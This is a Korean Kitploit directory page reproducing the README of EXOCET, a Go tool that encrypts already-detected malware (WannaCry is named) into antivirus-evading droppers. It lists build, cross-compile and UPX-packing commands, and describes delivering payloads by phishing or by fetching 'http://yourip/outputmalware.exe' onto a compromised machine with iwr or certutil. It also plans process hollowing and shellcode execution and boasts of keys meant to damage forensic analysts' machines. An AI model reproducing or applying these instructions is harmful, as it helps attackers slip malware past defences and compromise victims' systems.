Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EXOCET-AV-Evasion — EXOCET - AV 회피, 탐지 불가능한 페이로드 전달 도구 | Kitploit
도구/GitHubGitHub/tanc7/exocet-av-evasion
Exploit FrameworksPayload GenerationShellcodePost-ExploitationMalware AnalysisCryptographyPenetration TestingCommand and ControlLearning & EducationRed TeamingShellcode GenerationPayload Development
83814764년 전Kitploit 검토 완료
GitHubtanc7/exocet-av-evasion

EXOCET-AV-Evasion

EXOCET - AV 회피, 탐지 불가능한 페이로드 전달 도구

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

EXOCET - AV 우회, 탐지 불가, 페이로드 전달 도구

Chang Tan
AWS 공인 클라우드 실무자 및 솔루션스 아키텍트 어소시에이트
[email protected]


업데이트된 EXOCET 사용법

크립터 키의 유출을 방지하고 악성코드 분석가를 더욱 혼란시키기 위해 페이로드를 패킹해야 합니다. Themida와 같은 상용 최고급 패커는 필요하지 않습니다. 코드 서명 인증서 없이는 더 큰 의심을 불러일으킬 뿐입니다. 코드 서명 인증서가 없으면 Windows 시스템에서 SmartScreen이 자동으로 트리거됩니다. 이는 잠재적으로 원치 않는 프로그램(PUP), 즉 모든 악성코드 페이로드, 비콘, 지콘, 원격 액세스 트로이 목마 등에 대한 규칙이며, 코드 서명 인증서가 필요합니다. 돈은 최고급 패커보다 코드 서명 인증서를 구매하는 데 사용하는 것이 더 낫습니다.

root@kitploit:~
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe

그런 다음 타겟에 페이로드를 드롭합니다. 피싱 이메일, 링크를 사용하거나 이미 셸 액세스 권한이 있다면 로컬에서 서버를 호스팅하는 방법 등으로 전달합니다. python -m http.server 80' 그리고 손상된 머신에서 powershell 프롬프트로 iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe" 또는 certutil.exe -urlcache -split -f http://yourip/outputmalware.exe 를 실행한 후 outputmalware.exe로 실행합니다.



EXOCET는 AES-256 GCM 모드(갈루아/카운터 모드)를 사용하기 때문에 Metasploit의 'Evasive Payloads' 모듈보다 우수합니다. Metasploit의 Evasion Payloads는 쉽게 탐지되는 RC4 암호화를 사용합니다. RC4가 더 빠르게 복호화할 수 있는 반면, AES-256은 악성코드의 의도를 파악하기 훨씬 어렵습니다.

그러나 Metasploit을 사용하여 Evasive Payload를 만든 다음 EXOCET와 연결하는 것은 가능합니다. 따라서 EXOCET가 AES-256으로 복호화한 다음, Metasploit Evasive Payload가 RC4에서 자체 복호화를 수행합니다.

이전 프로젝트인 DarkLordObama와 마찬가지로 이 툴킷은 Veil-Evasion과 같은 전달/실행 수단으로 설계되었습니다.

Dark Lord Obama Project

그러나 EXOCET는 단일 코드베이스나 Python이 실행되는 플랫폼에 국한되지 않습니다. EXOCET는 Go가 지원하는 모든 지원 플랫폼과 아키텍처에서 작동합니다.

Exocet 개요

EXOCET는 효과적으로 크립터 유형의 악성코드 드로퍼로, WannaCry와 같이 쉽게 탐지되는 페이로드를 재활용하여 AES-CBC보다 안전한 AES-GCM(갈루아/카운터 모드)으로 암호화한 후, 대부분의 아키텍처와 플랫폼용 드로퍼 파일을 생성합니다.

기본적으로...

  1. 현재 안티바이러스 엔진에 탐지되는 위험한 악성코드를 입력받습니다.
  2. 그런 다음 이를 암호화하고 자체 Go 파일을 생성합니다.
  3. 그 Go 파일은 알려진 아키텍처의 99%로 크로스 컴파일될 수 있습니다.
  4. 실행 시 암호화된 페이로드가 디스크에 기록되고 즉시 명령줄에서 실행됩니다.
  5. 또는 파일 드롭 대신 amenzhinsky의 go-memexec 모듈을 사용하여 재구성된 셸코드를 메모리에서 실행합니다 github.com/amenzhinsky/go-memexec
  6. 커스텀 셸코드 실행기가 개발 중입니다. 일반 C 셸코드를 가져와 num-transform 후, 올바른 가상 주소 공간을 할당하고 Windows에서 RWX 권한을 부여한 후 새 프로세스를 생성하여 실행합니다.

즉, 32비트 및 64비트 아키텍처를 의미하며 Linux, Windows, Mac, Unix, Android, iPhone 등에서 작동합니다. 인터넷을 거의 마비시켰던 1988년 Morris Worm(UNIX의 fingerd 리스너 데몬의 결함을 악용)과 같은 모든 것을 다시 실행 가능한 사이버 무기로 만들 수 있습니다.

EXOCET는 전적으로 Go로 작성되었습니다.

사용 방법

EXOCET를 실행하는 데 어떤 바이너리를 사용하든 Golang이 필요합니다. 기본적으로 크립터 .go 파일을 생성합니다.

  1. Windows 사용자: 여기에서 Go 설치
  2. Linux 사용자: sudo apt-get update && sudo apt-get install -y golang 실행
  3. Golang에 EXOCET 소스 파일을 설치해야 합니다. go get github.com/tanc7/EXOCET-AV-Evasion
  4. 하위 요구사항도 다운로드되어 설치됩니다.
  5. Windows 및 Mac x64 사용자의 경우 사전 컴파일된 바이너리가 /bin 폴더에 있습니다.

실행 방법

go run EXOCET.go detectablemalware.exe outputmalware.go

키가 자동으로 생성됩니다. 키는 64자 길이이며 bash와 cmd.exe 셸 파이프 리디렉터로만 구성되어 포렌식 분석가의 장치에서 예측할 수 없는 파괴적인 동작을 유발하여 키에 대한 무차별 대입 시도를 혼란시키고 방해합니다.

64비트 Windows 대상의 경우...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

그러면 outputmalware.exe 파일이 생성됩니다.

64비트 MacOS 대상의 경우

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

64비트 Linux 대상의 경우

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

Android와 같은 다른 운영 체제의 매개변수는 github에서 이 참조를 확인하세요. Go 크로스 컴파일 참조

키는 여전히 strings 명령으로 찾을 수 있으므로, upx-ucl 명령을 사용하여 바이너리를 패킹하여 키를 숨기십시오.

또한 제가 만든 사전 빌드 바이너리가 있으므로 ./EXOCET 또는 EXOCET-Windows.exe를 실행하기만 하면 됩니다.

법적 정보

저, Chang Tan, 그리고 Exocet의 메인 모듈 및 서브모듈과 포함된 패키지의 제작자는 이 도구의 오용에 대해 책임지지 않습니다. 이는 단순한 침투 테스트 도구입니다. 승인되지 않은 보호 시스템 또는 승인되지 않은 정부 시스템에 대해 Exocet 출력 바이너리를 배포하는 것은 엄격히 금지됩니다.

APT41 및 NSO 그룹의 위협 행위자가 이 도구, 특히 go-memexec 메서드의 코드를 사용 및/또는 채택했다는 것을 알고 있습니다. 이 도구의 오용에 대해 연방 수사관이 접근하더라도 저는 책임을 지지 않습니다.

이는 Mimikatz 및 PowerShell Empire 개발자(위협 행위자 사이에서의 사용을 인지하고 자체 개발을 중단함)에게 일어난 일과 같습니다. 후임자들이 Empire의 개발을 이어받았으며, Covenant C2와 같은 무료 대안이 있습니다.

EXOCET 라이브 데모

이름의 이유

1982년 5월 4일, 포클랜드 전쟁 중 아르헨티나 수퍼 에탕다르 함대가 영국 해군 셰필드 호에 프랑스제 Exocet 미사일을 발사했습니다. 영국 해군의 미사일 저지 시도에도 불구하고 하나가 명중하여 셰필드 호를 침몰시켰습니다. 그 사건은 문자 그대로 아르헨티나를 세계 식민 강국에 대한 힘의 과시로 지도에 올려놓았습니다.

HMS 셰필드 침몰 뉴스 기사

Onel de Guzman이 ILOVEYOU 바이러스로 한 행동이 필리핀을 사이버 위협으로 지도에 올려놓은 것과 매우 유사합니다.

Wikipedia의 ILOVEYOU 바이러스

예정된 업데이트, 메모 및 포부

.png)

그래서 이번 달과 다음 달은 저에게 바쁜 달이 될 것이며, 이러한 방법을 구현하는 데 지연이 있을 것입니다. 하지만 다음과 같은 새로운 AV 우회 기술을 구현하기 시작하게 되어 기쁩니다...

  1. 인라인 후킹
  2. BlackRota 및 gobfuscate 모듈을 에뮬레이션한 난독화
  3. 프로세스 할로잉
  4. 리플렉티브 DLL 인젝션
  5. 원격 프로세스 인젝션
  6. ThreadLocalStorage 콜백
  7. 최상위 예외 처리기 등록
  8. 커스텀 UPX 패킹

저는 매우 바쁜 사람입니다. 다음과 같은 우선순위가 있으며 프로젝트를 돕기 위한 도움과 풀 리퀘스트를 요청하고자 합니다. 해야 할 일은 다음과 같습니다.

  1. 10월 말 법정 출두
  2. National Cyber League
  3. 회계 및 재무 수업, 컴퓨터 공학은 결코 제 대학 전공이 아니었으며 다음 주에 연속으로 시험이 있습니다.
  4. 연방 보호관찰 조건과 FBI가 저를 새로운 입증되지 않은 범죄에 연루시키려는 상황. 변호사에게 보내기 위해 클라우드에 업로드한 대시캠 영상이 있습니다. 여러 차례의 공격, 차량 및 집 파손을 문서화했고 경찰 신고 및 반대 신고를 접수했으며 연방 소송을 제기할 사건을 구축할 것입니다. 가해자 중 한 명(제 차 앞범퍼를 뜯어낸 사람)이 체포되었습니다.
  5. CoinGeckoAPI와 상호작용하는 개인 프로젝트
  6. cryptoscopeinitiative.org 운영, 등록 예정인 501c3 비영리 단체
  7. Exploit Development에 관한 세 개의 온라인 강의

예정된 업데이트! 직접 암호화된 셸코드 실행! (테스트 버전에서 구현됨, 아직 출시되지 않음)

약간의 도움이 필요합니다. 암호화된 셸코드를 실행하기 위해 CGO를 성공적으로 구현했지만 메모리 액세스 위반 종료 상태 0xc0000005가 발생합니다. CGOTest/working-template-shellcode-executor.go 파일이 실행되었기 때문에 DEP(데이터 실행 방지)와 관련된 것은 아닙니다.

문제 발견

알고 보니, 셸코드가 위치하는 메모리 페이지를 읽기, 쓰기, 실행 가능하게 만들기 위해, 즉 PAGE_EXECUTE_READWRITE를 ON으로 설정하려면 kernel32.dll과 ntdll.dll에서 VirtualAlloc을 호출해야 합니다. 아래의 메모리 액세스 위반 문제에 대한 참고 사항을 읽으십시오.

이것을 해결하면, CGO는 구현하기 매우 까다로웠지만, 이제 인라인 어셈블리를 실행하는 크립터를 만들 수 있습니다. 이는 지금까지 불가능하다고 여겨졌습니다.

참고: 이를 위해서는 Windows에 Golang과 MinGW 툴체인이 설치되어 있어야 하며, Windows에서 셸코드를 실행하고 생성해야 합니다. 그 이유는 CGO가 다른 EXOCET 모듈처럼 크로스 컴파일될 수 없기 때문입니다. 툴체인을 설치하려면 https://www.msys2.org/로 이동하여 가이드를 따르세요. 그런 다음 Windows의 환경 변수에 gcc를 추가해야 합니다.

1단계: 셸코드 생성. msfvenom Meterpreter 페이로드, Cobalt Strike 비콘, 또는 C 호환 형식의 사용자 정의 셸코드일 수 있습니다.

2단계: 셸코드의 바이트만 복사하여 따옴표를 제외하고 sc.txt와 같은 텍스트 파일에 저장합니다.

3단계: 셸코드 파일은 다음과 같아야 합니다. 원시 셸코드

4단계: 이제 명령 go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY를 실행합니다.

5단계: 실행을 시도할 수 있지만 어떤 이유로 메모리 액세스 위반 오류가 발생할 것입니다. 이는 아직 작업 중입니다.

메모리 액세스 위반 문제에 대한 참고 사항

분명히, CGO의 주요 제한 사항(크로스 컴파일을 금지하거나 극도로 어렵게 만듦) 외에도, 실행하려는 셸코드가 (WinDBG x64에서 분석된) RWX가 아닌 메모리 섹션에 위치한다는 문제가 있습니다. 즉, 셸코드의 메모리 실행을 명시적으로 허용하는 C 코드를 작성하지 않는 한 항상 액세스 위반 오류가 발생합니다.

다른 방법으로, 기본적인 Go 모듈 개발자들이 https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d에서 관찰한 방법은, Go의 Windows API를 사용하여 ntdll.dll 및 kernel32.dll과 상호작용하여 VirtualAlloc을 호출하고 RWX 메모리 페이지 영역을 지정하는 것입니다. 이 방법이 더 잘 작동하지만, 셸코드가 num-transformed 형식이어야만 작동하는 것으로 보입니다.

아직 작업 중입니다. 여러 프로그래밍 언어를 결합하여 적절한 셸코드 실행 모듈을 작성할 수도 있습니다.

사전 컴파일된 바이너리에 대한 Apple M1 칩 참고 사항

안타깝게도 새로운 M1 CPU를 사용하는 MacBook용 사전 컴파일된 바이너리를 만드는 데 오류가 발생하고 있습니다. Golang 설치 문제일 수 있습니다.

root@kitploit:~
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go 
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

어쨌든 타겟 플랫폼으로 악성코드를 컴파일하거나 크로스 컴파일하려면 여전히 Golang이 필요합니다.

도구 다운로드